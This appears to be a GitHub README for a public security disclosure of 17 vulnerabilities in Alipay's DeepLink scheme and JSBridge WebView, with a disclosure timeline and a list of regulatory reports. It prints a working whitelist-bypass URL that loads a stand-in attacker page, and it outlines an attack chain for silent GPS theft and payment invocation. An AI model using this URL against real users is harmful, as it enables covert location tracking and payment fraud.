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- Removed top and footer "archive mirrors" blocks (redundant) - Censorship notice is now the most prominent element after header Co-Authored-By: Claude <noreply@anthropic.com>
Alipay DeepLink + JSBridge Security Research
17 Verified Vulnerabilities | 3 Devices | 308 Server Log Entries | 6 CVEs Applied
⚠️ Official Update Channels: All updates are published exclusively at:
- Website: https://innora.ai/zfb/
- WeChat: Official Account AI-security-innora
Content from any other source is not authorized by our team.
WeChat Articles
| Tag | Title | Link |
|---|---|---|
| 🆕 NEW | 当白名单绕过沦为全网攻击的钥匙，傲慢的终点是法庭与溯源调查 | Read |
| 🔥 HOT | 巨头的"封口令"被微信驳回，全球顶级黑客弹药库给出最终裁决 | Read |
| ⚖️ LEGAL | 支付宝安全研究遭律师函投诉 — 零次提及"支付宝"如何构成"商誉侵权"？ | Read |
| 📱 ORIGINAL | 位置被秒偷！10多亿人每天在用的国民支付应用，17个「正常功能」细思极恐！ | Read |
Critical Finding: Whitelist Bypass (CVSS 9.3)
The master key enabling all 17 vulnerabilities to be remotely exploitable by ANYONE:
https://ds.alipay.com/?scheme=alipays://platformapi/startapp?appId=20000067&url=https://attacker.com/payload.html
- No developer permissions required — No Alipay Open Platform registration, no Mini Program credentials, no approval
- Transforms all vulnerabilities — Without this bypass, issues are LAN-only; with it, anyone can attack remotely against 1B+ users
- Vendor acknowledged severity — Ant Group stated "If you can bypass our whitelist, that would be serious." Bypass achieved in under 2 minutes. Vendor still refuses to patch, calling it "normal functionality"
- 6 CVEs applied via MITRE (Ticket #2005801), including this bypass as highest-severity (CWE-601 + CWE-939)
Full Report
- Website: https://innora.ai/zfb/
- GitHub: This repository
Global Regulatory Response
Reported to ~160 agencies across 22 countries. Active investigations by:
- Apple Product Security — Active investigation
- Google Play — Policy violation investigation
- MITRE CVE — 6 CVEs applied (Ticket #2005801)
- CSSF Luxembourg — 4 departments confirmed receipt, ICT Risk Supervision noted contents
- Singapore PDPC — Formal data protection investigation
- HKMA Hong Kong — SVF licence compliance inquiry
- CIRCL Luxembourg — Contacting Alibaba SRC on our behalf
- Packet Storm Security — Advisory published (ID 217089)
Summary
This repository documents a comprehensive security research project that uncovered 17 security vulnerabilities in Alipay's DeepLink URI scheme (alipays://) and its Nebula WebView container.
Key Findings
| Severity | Count | Examples |
|---|---|---|
| CRITICAL | 4 | Whitelist bypass (CVSS 9.3), GPS silent theft, Transfer pre-fill, Payment initiation |
| HIGH | 5 | Device fingerprinting, UI spoofing, Session leak |
| MEDIUM | 8 | Network info, Chain WebView, Scheme injection |
Attack Chain
Attacker crafts URL (NO developer permissions needed)
→ ds.alipay.com open redirect bypasses whitelist
→ Alipay WebView loads attacker's page with full JSBridge access
→ Silent data collection (GPS 8.8m accuracy, device info, session)
→ Payment interface invocation (tradePay)
→ UI spoofing (title bar, toast notifications)
→ Sensitive page navigation (transaction history, transfer, assets)
Cross-Platform Verification
- Samsung Galaxy S25 Ultra (Android 15, New Zealand)
- Redmi 12 (Android 14, Malaysia)
- iPhone 16 Pro (iOS 18.3, China)
Live PoC (Read-Only Demo)
No data is collected or transmitted. All results display locally only.
- Trigger Page — Simulates attacker distribution page
- JSBridge PoC — Demonstrates API access from external page
- Chain WebView — Proves chained pages retain bridge access
Responsible Disclosure Timeline
| Date | Action |
|---|---|
| 2026-02-25 | Initial report sent to Ant Group SRC (TLS/SSL findings) |
| 2026-03-07 | Full report V3 sent with 17 vulnerabilities + 308 log entries |
| 2026-03-10 | Ant Group response: "These are normal features" (正常功能) |
| 2026-03-11 | Public disclosure after vendor declined to acknowledge |
| 2026-03-11 | Ant Group's law firm filed WeChat complaint (dismissed by platform) |
| 2026-03-12 | Packet Storm Security published advisory (ID 217089) |
| 2026-03-12 | 6 CVE IDs applied via MITRE (Ticket #2005801) |
| 2026-03-12~14 | ~170 emails sent to ~160 regulatory agencies across 22 countries |
| 2026-03-13 | HKMA, PDPC, CSSF, Apple, Google, CIRCL confirmed receipt/investigation |
| 2026-03-14 | Whitelist bypass (CVSS 9.3) highlighted as master key finding |
Repository Structure
├── index.html # Full bilingual (CN/EN) research blog
├── rebuttal.html # Legal rebuttal to lawyer's complaint
├── wechat_article.html # WeChat public account article
├── poc/
│ ├── trigger.html # Attack trigger simulation page
│ ├── verify.html # JSBridge exploitation PoC
│ └── chain.html # Chain WebView demonstration
├── review_kimi.md # Kimi K2 cross-validation review
├── review_sonnet.md # Sonnet review
├── review_summary.md # Review summary
└── README.md # This file
Evidence
- 308 server exfiltration log entries (JSONL format, not included in public repo)
- 42 real-device screenshots (not included in public repo)
- Full evidence available upon request: feng@innora.ai
Legal Disclaimer
This research is conducted for educational and security improvement purposes only. All testing was performed on accounts owned by the researcher. No unauthorized access to third-party accounts or data occurred.
The PoC pages are read-only demonstrations with all data exfiltration endpoints disabled. They only display results locally in the browser.
Mirrors & Archives
To prevent single-point deletion, this research is archived at multiple locations:
If any mirror is taken down, please check the other locations.
Readers are encouraged to fork this repository as backup.
Contact
- Researcher: Innora AI Security Research Team
- Email: feng@innora.ai
- Website: innora.ai
This research follows responsible disclosure practices. The vendor was given adequate time to respond before public disclosure.